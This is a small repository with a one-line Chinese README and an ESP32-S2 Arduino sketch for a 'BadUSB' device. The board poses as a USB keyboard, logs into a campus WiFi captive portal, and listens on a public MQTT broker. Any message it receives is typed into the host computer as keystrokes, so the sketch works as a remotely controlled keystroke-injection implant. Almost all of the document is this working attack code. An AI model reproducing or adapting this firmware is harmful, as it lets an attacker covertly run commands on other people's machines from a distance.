├── README.md
└── esp32s2_badusb.ino


/README.md:
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1 | # 一个badusb的小项目
2 | 


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/esp32s2_badusb.ino:
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  1 | #include <WiFi.h>
  2 | #include <HTTPClient.h>
  3 | #include <string.h>
  4 | #include "USB.h"
  5 | #include "USBHIDKeyboard.h"
  6 | #include <PubSubClient.h>
  7 | 
  8 | USBHIDKeyboard Keyboard;
  9 | 
 10 | const char* mqttServer = "test.ranye-iot.net";
 11 | WiFiClient wifiClient;
 12 | PubSubClient mqttclient(wifiClient);
 13 | 
 14 | char Home = KEY_LEFT_GUI;
 15 | const char* ssid = "NTU";
 16 | const char* host = "210.29.79.141";
 17 | String userid = "";
 18 | String password = "";
 19 | String device = "1";
 20 | string TopiC = "";
 21 | 
 22 | void wifi_set(char * message,unsigned int len)
 23 | {
 24 |     unsigned int i = 0;
 25 |     while(i < len )
 26 |     {
 27 |       bool temp = 0;
 28 |       if (message[i]=='@')
 29 |       {
 30 |         i ++;
 31 |         while(message[i]!='@'&&i<len)
 32 |         {
 33 |           if (message[i] == '|')
 34 |           {
 35 |             i ++;
 36 |             switch(message[i])
 37 |             {
 38 |                 case 'h':
 39 |                   Keyboard.press(Home);
 40 |                   break;
 41 |                 case 's':
 42 |                   Keyboard.press(KEY_LEFT_SHIFT);
 43 |                   break;
 44 |                 case 'c':
 45 |                   Keyboard.press(KEY_LEFT_CTRL);
 46 |                   break;
 47 |                 case 'e':
 48 |                   Keyboard.press(KEY_RETURN);
 49 |                   break;
 50 |                 case '1':
 51 |                   Keyboard.press(KEY_F1);
 52 |                   break;
 53 |                 case '2':
 54 |                   Keyboard.press(KEY_F2);
 55 |                   break;
 56 |                 case '3':
 57 |                   Keyboard.press(KEY_F3);
 58 |                   break;
 59 |                 case '4':
 60 |                   Keyboard.press(KEY_F4);
 61 |                   break;
 62 |                 case '5':
 63 |                   Keyboard.press(KEY_F5);
 64 |                   break;
 65 |                 case '6':
 66 |                   Keyboard.press(KEY_F6);
 67 |                   break;
 68 |                 case '7':
 69 |                   Keyboard.press(KEY_F7);
 70 |                   break;
 71 |                 case '8':
 72 |                   Keyboard.press(KEY_F8);
 73 |                   break;
 74 |                 case '9':
 75 |                   Keyboard.press(KEY_F9);
 76 |                   break;
 77 |                 case '0':
 78 |                   Keyboard.press(KEY_F10);
 79 |                   break;
 80 |                 case 'a':
 81 |                   Keyboard.press(KEY_F11);
 82 |                   break;
 83 |                 case 'b':
 84 |                   Keyboard.press(KEY_F12);
 85 |                   break;
 86 |             }
 87 |             i = i + 2;
 88 |           }
 89 |           if (message[i] != '|'&& message[i] != '@')
 90 |           {
 91 |             Keyboard.press(message[i]);
 92 |             i ++;
 93 |           }
 94 |           delay(100);
 95 |         }
 96 |         Keyboard.releaseAll();
 97 |         delay(500);
 98 |         i ++;
 99 |         temp = 1;
100 |       }
101 |       if (i == 0) {Keyboard.print(message[i]);}
102 |       if (temp == 0 ) {i ++;}
103 |       if (message[i]!='@'&&i < len) {Keyboard.print(message[i]);}
104 |       delay(100);
105 |     }
106 | }
107 | 
108 | void wifi_init()
109 | {
110 |   delay(2000);
111 |   Serial.begin(115200);
112 |   WiFi.begin(ssid,"");
113 |   while(WiFi.status() != WL_CONNECTED)
114 |   {
115 |     Serial.println(".");
116 |     delay(200);
117 |   }
118 |   Serial.println("NTU connected");
119 |   Serial.println(WiFi.localIP());
120 |   delay(1000);
121 |   WiFiClient client;
122 |   client.connect( host, 801 );
123 |   String request = (String) ("GET ") + "/eportal/?c=Portal&a=login&callback=dr1003&login_method=1&user_account=," + device + "," + userid + "&user_password=" + password + "&wlan_user_ip=" + WiFi.localIP().toString() + " HTTP/1.1\r\n" +
124 |        "Host: " + host + ":801" + "\n" +
125 |        "Connection: Keep Alive\r\n\r\n";
126 |   client.print( request );
127 |   String response = client.readString();
128 |   int head = response.indexOf("Set-Cookie: PHPSESSID=")+22;
129 |   String cookie = response.substring(head,head+26);
130 |   Serial.println("successed in getting session"); Serial.println(cookie);
131 |   delay(1000);
132 |   client.connect( host, 801 );
133 |   request = (String) ("GET ") + "/eportal/?c=Portal&a=login&callback=dr1003&login_method=1&user_account=," + device + "," + userid + "&user_password=" + password + "&wlan_user_ip=" + WiFi.localIP().toString() +"&wlan_user_ipv6=&wlan_user_mac=000000000000&wlan_ac_ip=&wlan_ac_name=ME60&jsVersion=3.3.2&v=8322 HTTP/1.1\n" + +
134 |        "Accept: */*" +
135 |        "Accept-Encoding: gzip, deflate\n" +
136 |        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\n" +
137 |        "Cache-Control: max-age=0\n" +
138 |        "Connection: Keep Alive\n" +
139 |        "Cookie: PHPSESSID=" + cookie + "\n" +
140 |        "Host: " + host + ":801\n" +
141 |        "Referer: http://210.29.79.141/\n";
142 |   client.print( request );
143 |   HTTPClient webtest;
144 |   webtest.begin("http://baidu.com");
145 |   int code = webtest.GET();
146 |   Serial.println(code);
147 |   if (code == 200)
148 |   {Serial.println("Sucessful Internet access");}
149 |   webtest.end();
150 |   delay(1000);
151 |   client.stop();
152 | }
153 | 
154 | void receivecallback(char* topic, byte* payload, unsigned int length)
155 | {
156 |   wifi_set((char *)payload,length);
157 | }
158 | 
159 | void Subscribe()
160 | {
161 |   String topicString = TopiC;
162 |   char subTopic[topicString.length() + 1];  
163 |   strcpy(subTopic, topicString.c_str());
164 |   if(mqttclient.subscribe(subTopic))
165 |   {
166 |     Serial.println("Subscrib Topic:");
167 |     Serial.println(subTopic);
168 |     digitalWrite(21,LOW);
169 |   } 
170 |   else 
171 |   {
172 |     Serial.print("Subscribe Fail...");
173 |   }
174 | }
175 | 
176 | void connectserver(){
177 |   if (mqttclient.connect("esp32s2_cmd_test"))
178 |   {
179 |     Serial.println("MQTT Server Connected.");
180 |     Serial.println("Server Address:");
181 |     Serial.println(mqttServer);
182 |     Subscribe();
183 |   }
184 |   else 
185 |   {
186 |     Serial.print("MQTT Server Connect Failed. Client State:");
187 |     Serial.println(mqttclient.state());
188 |     delay(5000);
189 |   }
190 | }
191 | 
192 | void setup()
193 | {
194 |   delay(2000);
195 |   Serial.println("begin");
196 |   WiFi.mode(WIFI_STA);
197 |   Keyboard.begin();
198 |   USB.begin();
199 |   wifi_init();
200 |   mqttclient.setServer(mqttServer, 1883);
201 |   mqttclient.setCallback(receivecallback);
202 |   connectserver();
203 |   pinMode(21,OUTPUT);
204 | }
205 | 
206 | void loop() 
207 | {
208 |   if (mqttclient.connected()) { 
209 |     mqttclient.loop();          
210 |   } else {                      
211 |     connectserver();
212 |   }
213 | }
214 | 


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